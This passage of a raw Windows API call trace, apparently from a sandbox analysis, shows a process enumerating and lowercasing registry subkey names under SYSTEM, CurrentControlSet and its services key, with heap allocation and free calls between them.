cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0249.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.453] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.453] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.453] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0249.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.453] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0249.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.453] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.454] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.454] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.454] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0249.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.455] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.455] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0249.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.455] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0249.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.455] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.455] RegCloseKey (hKey=0x154) returned 0x0 [0249.456] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.456] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.456] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.456] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.457] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.457] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.457] RegCloseKey (hKey=0x148) returned 0x0 [0249.457] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.457] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0249.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.458] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.458] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.458] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, 